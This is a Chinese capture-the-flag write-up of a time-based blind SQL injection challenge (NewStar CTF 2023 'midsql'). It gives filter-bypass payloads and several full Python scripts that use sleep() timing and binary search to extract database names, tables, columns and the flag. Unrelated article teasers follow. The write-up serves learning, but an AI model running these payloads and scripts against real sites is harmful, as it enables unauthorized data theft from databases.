NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)

大致测试一下,发现空格被过滤了

使用内联注释/**/绕过,可行

1'/**/--+

使用%a0替代空格,也可以 

1'%a0--+

再次测试发现等号也被过滤,我们使用 like 代替

(我最开始以为是and被过滤,并没有,如果是and或者or被过滤我们也可以使用 && 和 || 替代)

1'/**/&&1like2/**/--+

 

但是这里尝试了很多都只返回一个页面,没有出现报错页面,因此采用时间盲注,利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

基础知识介绍:

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(n),延迟n秒后回显

常用判断语句: 

if(1=1,1,sleep(3)) // 1=1恒成立,因此会输出1
if(1=2,1,sleep(3)) //1=2不成立,则会执行最后的sleep函数,延迟3秒后回显

当然我们也可以直接使用sleep()函数:

1'&&sleep(5)--+

尝试之后发现这里好像还不能使用--+注释,因此我们换用#注释

1'&&sleep(5)#

观察发现没有延时,说明分号不是闭合符号

尝试数字型

1&&sleep(5)#

出现了很明显的延时现象,证明语句闭合成功 

开始写脚本,先查一下它存在的数据库有哪些

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#

完整脚本: 

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

注意:在payload中一定要用 f 格式化字符串常量,以确保 {} 中的内容(比如{i}、{mid})在程序运行时会被表达式的值代替。

运行结果:

发现存在一个名为 ctf 的数据库

接着我们查该数据库下的所有表

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#

完整脚本: 

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

发现只有一个名为 items 的表

尝试获数据库名为 ctf 下表名为 items 的列名信息

(这里不能直接select *)

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#

 完整脚本:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

发现存在三个列:id,name,price 

由于我们也不知道flag在哪儿,所以查询这三列的具体字段信息

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#

注意:这里查询的内容还是需要加上 group_concat(),因为之前我做的一些联合查询有时候不需要加,但是在这里我试了,不行。

顺便介绍一下 group_concat()函数的作用:

group_concat 首先根据 group by 指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔,将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

完整脚本:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

拿到 flag{217f2b74-cca0-4afb-be0b-2147f666d25e} 

关于脚本的一些解释:

利用二分查找进行时间盲注攻击

  1. payload 是一个包含 SQL 注入攻击的 URL。这个 URL 是构建成这样的:url 是你的目标网站的地址,后面附加一个 SQL 注入语句。

  2. time.time() 用于记录开始时间,然后发起 HTTP GET 请求,发送 payload 到目标网站。这个请求会执行 SQL 注入攻击。

  3. 发起请求后,再次使用 time.time() 记录结束时间,然后计算 use_time,即请求的响应时间。

  4. 接下来,通过比较 use_time 是否大于 2 秒,来判断是否成功执行 SQL 注入。如果 use_time 大于 2 秒,说明条件成立,表示当前字符的 ASCII 值大于 mid

  5. 如果条件成立,将 left 的值增加 1,否则,将 right 的值减少 1,从而更新 mid 的值。这是二分查找算法的一部分,用于逐字符提取数据库名的字符。

  6. 最后,代码将当前字符(字符的 ASCII 值通过 chr() 函数转换为字符)添加到 database_name 变量中,并打印出 database_name,逐步构建查询到的数据库名。

代码通过不断猜测每个字符的 ASCII 值来构建数据库名,一旦一个字符的 ASCII 值被确定,就继续下一个字符。当然这里的database_name只是一个变量名,我们可以替换成其他的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/109390.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

大数据之LibrA数据库系统告警处理(ALM-12001 审计日志转储失败)

告警解释 根据本地历史数据备份策略&#xff0c;集群的审计日志需要转储到第三方服务器上。如果转储服务器满足配置条件&#xff0c;审计日志可以成功转储。审计日志转储失败&#xff0c;系统产生此告警。如果第三方服务器的转储目录磁盘空间不足&#xff0c;或者用户修改了转…

力扣第968题 监控二叉树 c++ hard题 二叉树的后序遍历 + 模拟 + 贪心

题目 968. 监控二叉树 困难 相关标签 树 深度优先搜索 动态规划 二叉树 给定一个二叉树&#xff0c;我们在树的节点上安装摄像头。 节点上的每个摄影头都可以监视其父对象、自身及其直接子对象。 计算监控树的所有节点所需的最小摄像头数量。 示例 1&#xff1a; …

机器人制作开源方案 | 大学宿舍蓝牙遥控水卡机

一些看起来不太聪明的机器到底是用来干什么的&#xff1f; 用来解决一些不太聪明的基础设施。 想必大家都见过一些奇葩反人类的——设计&#xff0c;举例如下&#xff1a; 当我们一边对着这些图片狂笑时…… 有没有想过“报应”有一天会落在自己身上呢&#xff1f; 这天我们遇到…

Android开发知识学习——HTTP基础

文章目录 学习资源来自&#xff1a;扔物线HTTPHTTP到底是什么HTTP的工作方式URL ->HTTP报文List itemHTTP的工作方式请求报文格式&#xff1a;Request响应报文格式&#xff1a;ResponseHTTP的请求方法状态码 HeaderHostContent-TypeContent-LengthTransfer: chunked (分块传…

IDEA 如何运行 SpringBoot 项目

步骤一&#xff1a;配置 Maven 第一步&#xff1a;用 IDEA 打开项目&#xff0c;准备配置 maven 环境 &#xff0c;当然如果本地没有提前配置好 maven&#xff0c;就用 IDEA 默认的配置即可 配置 maven 步骤 情况 1&#xff1a;如果本地没有配置过 maven&#xff0c;可以保持如…

Cesium加载GeoServer发布WMTS系列问题

这两天为了摆脱对ArcGIS的依赖&#xff0c;准备走开源这一套&#xff08;现在发布只能用这两个吗&#xff0c;知道的探讨一下&#xff09;&#xff0c;想走GeoServer的路线&#xff0c;在发布了shp之类的之后发现还挺好用的&#xff0c;但是到了发布影像的时候&#xff0c;就很…

【C++项目】高并发内存池第五讲内存回收释放过程介绍

内存回收 1.ThreadCache2.CentralCache3.PageCache 项目源代码&#xff1a;高并发内存池 1.ThreadCache void ThreadCache::Deallocate(void* ptr, size_t size) {assert(ptr);assert(size < MAX_BYTES);//计算在哪号桶中&#xff0c;然后插入进去size_t index SizeClass…

ZYNQ连载07-PIN设备

ZYNQ连载07-PIN设备 1. 简述 RT-Thread PIN设备 这里参看RT-Thread提供的PIN设备管理接口&#xff0c;简单封装了几个接口函数。 2. 实现 #include "include/drv_gpio.h" #define LOG_TAG "drv_gpio" static XGpioPs xgpiops;void rt_pin_mode(rt_…

SIT1028Q内置高压 LDO 本地互联网络(LIN)收发器

SIT1028Q 是一款内部集成高压 LDO 稳压源的本地互联网络&#xff08; LIN &#xff09;物理层收发器&#xff0c;可为外 部 ECU &#xff08; Electronic Control Unit &#xff09;微控制器或相关外设提供稳定的 5V/3.3V 电源&#xff0c;该 LIN 收发器 符合 LIN 2…

歌曲怎么转换为mp3格式播放

MP3 文件&#xff08;以 .mp3 文件扩展名结尾&#xff09;因其高品质、文件小和兼容性强成为最流行的音频文件类型之一&#xff0c;如果你正在寻找好用的音频转换工具&#xff0c;想将歌曲转换为 MP3 以便在任何设备上播放&#xff0c;本文将会为你推荐2款好用的音频转换工具&a…

关于数据中台的理解和思考

一、什么是数据中台 数据中台是指通过数据技术&#xff0c;对海量数据进行采集、计算、存储、加工&#xff0c;同时统一标准和口径。把数据统一后&#xff0c;会形成标准数据&#xff0c;再进行存储&#xff0c;形成大数据资产层&#xff0c;进而为客户提供高效的、可复用的服…

DCL 单例模式设计为什么需要 volatile 修饰实例对象

DCL 问题&#xff0c;是在基于双重检查锁设计下的单例模式中&#xff0c;存在不 完整对象的问题。而这个不完整对象的本质&#xff0c;是因为指令重排序导致的。 public class DCLExample {private static DCLExample instance;public static DCLExample getInstance(){if (ins…

nacos在linux中的安装、集群的配置、mysql生产配置

1.下载和安装 官方下载地址&#xff1a;https://github.com/alibaba/nacos/releases&#xff0c;根据自己需要的本版去下载就行 下载的是 .tar.gz 后缀的文件是linux版本的 使用tar命令解压&#xff0c;完成之后是一个nacos的文件夹 和windows下的文件夹目录是一样的 要启…

线程池里对异常的处理方式

**方式&#xff1a;**重写afterExecute方法, 统一处理线程池里抛出的异常。 但是要区分是execute方式提交的&#xff0c;还是submit方式提交的。 代码如下&#xff1a; public class Test001 {public static void main(String[] args) throws Exception {ExecutorService exec…

【3妹教我学历史-秦朝史】1 秦朝初期

插&#xff1a; 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 坚持不懈&#xff0c;越努力越幸运&#xff0c;大家一起学习鸭~~~ 2哥 :3妹&#xff0c;在干嘛呢 3妹&#xff1a;读书呢…

DSP 开发例程(5): tcp_server

目录 DSP 开发例程(5): tcp_server创建工程源码编辑tcp_echo.chelloWorld.c 调试说明 DSP 开发例程(5): tcp_server 此例程实现在 EVM6678L 开发板上创建 TCP Server进程, 完成计算机与开发板之间的 TCP/IP 通信. 例程源码可从我的 gitee 仓库上克隆或下载. 点击 DSP 开发教程…

Springboot 使用JavaMailSender发送邮件 + Excel附件

目录 1.生成Excel表格 1.依赖设置 2.代码&#xff1a; 2.邮件发送 1.邮件发送功能实现-带附件 2.踩过的坑 1.附件名中文乱码问题 3.参考文章&#xff1a; 需求描述&#xff1a;项目审批完毕后&#xff0c;需要发送邮件通知相关人员&#xff0c;并且要附带数据库表生成的…

AI:40-基于深度学习的森林火灾识别

🚀 本文选自专栏:AI领域专栏 从基础到实践,深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家,通过案例和项目实践,掌握核心概念和实用技能。每篇案例都包含代码实例,详细讲解供大家学习。 📌📌📌本专栏包含以下学习方向: 机器学习、深度学…

电子学会C/C++编程等级考试2023年05月(六级)真题解析

C/C++等级考试(1~8级)全部真题・点这里 第1题:字符串插入 有两个字符串str和substr,str的字符个数不超过10,substr的字符个数为3。(字符个数不包括字符串结尾处的’\0’。)将substr插入到str中ASCII码最大的那个字符后面,若有多个最大则只考虑第一个。 时间限制:1000 …

input改造文件上传,el-table的改造,点击上传,拖拽上传,多选上传

第一个input标签效果 第二个input标签的效果 el-table的改造效果 <template><div class"outerBox"><div class"analyze" v-if"status"><div class"unFile"><div class"mainBox"><img clas…